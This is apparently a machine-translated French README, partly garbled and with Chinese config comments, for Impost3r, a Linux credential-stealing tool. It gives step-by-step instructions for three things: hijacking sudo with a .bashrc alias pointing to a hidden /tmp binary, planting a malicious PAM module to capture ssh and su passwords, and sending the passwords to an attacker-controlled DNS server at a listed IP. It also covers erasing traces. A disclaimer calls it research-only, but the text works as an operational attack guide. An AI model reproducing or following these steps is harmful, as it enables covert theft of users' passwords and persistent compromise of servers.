Anglais
Impost3r est un outil écrit en langage C et utilisé pour voler divers mots de passe (ssh, su, sudo) sous Linux.
Les utilisateurs peuvent utiliser ce programme pour créer un point d'eau afin de voler les mots de passe des utilisateurs légitimes.
Cet outil est uniquement destiné à la recherche et à l'enseignement en matière de sécurité, et l'utilisateur assume toutes les responsabilités légales et connexes résultant de l'utilisation de cet outil ! L'auteur n'assume aucune responsabilité légale et connexe !
Effacer automatiquement les traces de comportement
Transférer les résultats via le protocole DNS
Utilisateur indifférent
gcc
Impost3r peut être utilisé pour voler des mots de passe, notamment les services sudo, su et ssh. Ces trois services peuvent être grossièrement divisés en 2 catégories, sudo et ssh/su. Nous en discuterons dans deux cas ci-dessous.
Il ne nécessite que les autorisations des utilisateurs ordinaires. Il ne nécessite pas de root. Cependant, il ne peut voler que le mot de passe de l'utilisateur correspondant et ne peut pas voler les mots de passe des autres utilisateurs.
Supposons tout d’abord que l’attaquant contrôle un serveur avec des droits d’utilisateur ordinaires.
Vérifiez si le fichier .bash_profile
existe dans le répertoire racine de l'utilisateur. Si .bash_profile
existe : vérifiez si .bashrc
est activement chargé dans le fichier .bash_profile
. S'il est activement chargé, ignorez cette étape et les deux vérifications suivantes et passez aux suivantes. opérations. S'il n'est pas activement chargé, alors les deux étapes de vérification suivantes sont ignorées et toutes les opérations pour .bashrc
ci-dessous sont remplacées par des opérations pour .bash_profile
Si .bash_profile
n'existe pas : passez à l'étape ; prochaine étape de vérification.
Vérifiez si le fichier .bash_login
existe dans le répertoire racine de l'utilisateur. Si .bash_login
existe : vérifiez si .bashrc
est activement chargé dans le fichier .bash_login
. S'il est activement chargé, ignorez cette étape et la vérification suivante et poursuivez les opérations suivantes. Si ce n'est pas le cas, ignorez cette étape et l'étape suivante. Chargement actif, puis ignorez la vérification suivante, et toutes les opérations pour .bashrc
ci-dessous sont remplacées par des opérations pour .bash_login
: si .bash_login
n'existe pas !!! le prochain contrôle.
Vérifiez si un fichier .profile
existe dans le répertoire racine de l'utilisateur. Si un fichier .profile
existe : vérifiez si .bashrc
est activement chargé dans le fichier .profile
(chargé par défaut), ignorez cette étape et continuez. les opérations suivantes. , s'il n'est pas activement chargé, alors toutes les opérations pour .bashrc
ci-dessous sont remplacées par des opérations pour .profile
!!! ;Si .profile
n'existe pas, en principe, Impost3r ne pourra pas être utilisé. Bien entendu, vous pouvez également décider de générer un fichier .bash_profile
ou .profile
selon la situation, et écrire un code de chargement similaire au fichier. suivez-le pour charger .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Copiez une copie du .bashrc
de l'utilisateur : cp ~/.bashrc /tmp/
, et placez cette copie dans le chemin personnalisé de l'attaquant (dans cet exemple, elle est placée dans le répertoire /tmp/, et l'attaquant peut la modifier)
Modifiez .bashrc
(~/.bashrc) dans le répertoire racine de l'utilisateur et ajoutez l'instruction suivante dans la dernière ligne (où "/tmp/.impost3r" doit être cohérent avec le FILENAME ci-dessous) :
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
Une fois l'ajout terminé, enregistrez le fichier et exécutez source ~/.bashrc
Ensuite, l'attaquant doit modifier le code source d'Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Une fois la modification terminée, enregistrez et exécutez make
dans le répertoire courant
Récupère le fichier .impost3r
compilé dans le répertoire courant
Téléchargez (essayez de compiler sur le serveur cible pour éviter les erreurs inattendues) le fichier .impost3r
dans le dossier /tmp/
du serveur cible (seulement un exemple, vous pouvez le modifier vous-même, à condition qu'il soit identique à la définition dans le code source)
L'attaquant démarre le programme du serveur DNS sur son propre serveur et attend que l'utilisateur légitime utilise sudo
pour obtenir le mot de passe.
En cas de vol du mot de passe sudo, Impost3r effacera automatiquement les traces après succès, et l'attaquant n'a pas besoin de le nettoyer manuellement.
Impost3r déterminera automatiquement si le mot de passe saisi par l'utilisateur est le mot de passe correct. Il ne mettra pas fin au processus tant que l'utilisateur n'aura pas saisi le mot de passe correct et n'effacera pas les traces.
Veuillez utiliser sudo -v
pour déterminer si l'utilisateur actuel fait partie sudoer
avant d'utiliser Impost3r. Sinon, n'utilisez pas Impost3r.
Le vol de mots de passe ssh/su est différent de la méthode de vol et d'exploitation de mot de passe sudo ci-dessus. Il nécessite les privilèges root et peut voler n'importe quel mot de passe utilisateur.
Ce qui suit prend Ubuntu comme exemple. Centos est similaire. Les fichiers utilisés et la manière de modifier les fichiers peuvent être différents.
Supposons d’abord que l’attaquant contrôle un serveur
Obtention des autorisations root via une opération d'élévation de privilèges (ou l'adorable administrateur a démarré le service avec les autorisations root)
Modifiez d’abord le fichier de code source /ssh_su/main.h
d’Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Une fois la modification terminée, enregistrez et exécutez make
dans le répertoire courant
Récupérez le fichier compilé impost3r.so
Téléchargez le impost3r.so
compilé (essayez de le compiler sur le serveur cible pour éviter les erreurs inattendues) dans /lib/x86_64-linux-gnu/security
de la machine cible (différentes machines peuvent avoir des noms de dossier différents, veuillez les placer en fonction du situation) )
Entrez /etc/pam.d
. Il existe actuellement deux situations. Si le mode sélectionné consiste à voler uniquement le mot de passe ssh, vous devez alors exécuter vi sshd
et ajouter l'instruction suivante à la fin du fichier (elle devrait l'être). Notez ici qu'à l'exception d'Ubuntu, d'autres fichiers basés sur ce système Linux peuvent être très différents d'Ubuntu. Il est recommandé de lire les règles vous-même puis de les ajouter à l'emplacement approprié.
auth optional impost3r.so account optional impost3r.so
Enregistrez et quittez, redémarrez le service sshd restart
Si vous choisissez de voler les mots de passe ssh et su ensemble, vous devez exécuter vi common-auth
, ajouter la même instruction, enregistrer et quitter, puis redémarrer le service sshd.
L'attaquant démarre le programme du serveur DNS sur son propre serveur et attend que l'utilisateur légitime utilise ssh
pour se connecter à la machine cible ou utilise su
pour changer d'utilisateur afin d'obtenir le mot de passe.
En cas de vol du mot de passe ssh/su, Impost3r ne peut pas effacer les traces pour des raisons d'autorisation, et l'attaquant doit l'effacer lui-même.
Veuillez noter que si seul le mot de passe SSH est configuré pour être volé, il est fondamentalement garanti que l'attaquant recevra le résultat du vol à 100 %, mais si les deux sont configurés pour voler en même temps, il n'est pas nécessairement garanti que le l'attaquant recevra le résultat du vol (uniquement s'il est défini lors de l'envoi pour DNS, le paramètre pour l'enregistrer localement ne sera pas affecté)
Il n'est pas recommandé de voler le mot de passe su, et comme le mot de passe ssh de l'utilisateur est le même que le mot de passe su, si vous ne pouvez pas voler le mot de passe su, ne le volez pas. Le mot de passe ssh suffit.
Les mots de passe vides ne sont pas volés par défaut. Veuillez essayer de voir si l'utilisateur a un mot de passe vide (vérifiez s'il y a PermitEmptyPasswords yes
dans le fichier de configuration sshd. S'il est vide, alors c'est toujours un fantôme.)
J'ai utilisé Fdns pour le programme serveur DNS et modifié certains paramètres. Vous pouvez trouver le code source modifié dans le dossier Fdns. Veuillez utiliser la commande gcc -o dns main.c util.c
pour le compiler vous-même (notez que vous devez le modifier. premier port d'écoute dans main.c)
Avant de compiler Fdns, veuillez vérifier la valeur YOUR_DOMAIN
dans util.h
pour vous assurer que cette valeur est cohérente avec la valeur YOUR_DOMAIN
utilisée lors de la compilation du programme Impost3r implanté sur le serveur, sinon le vol pourrait échouer.
Ce programme est uniquement développé et étudié pendant votre temps libre. Il peut y avoir des bugs dans ses fonctions. Veuillez me pardonner et accueillir les commentaires.
f
libbaseencode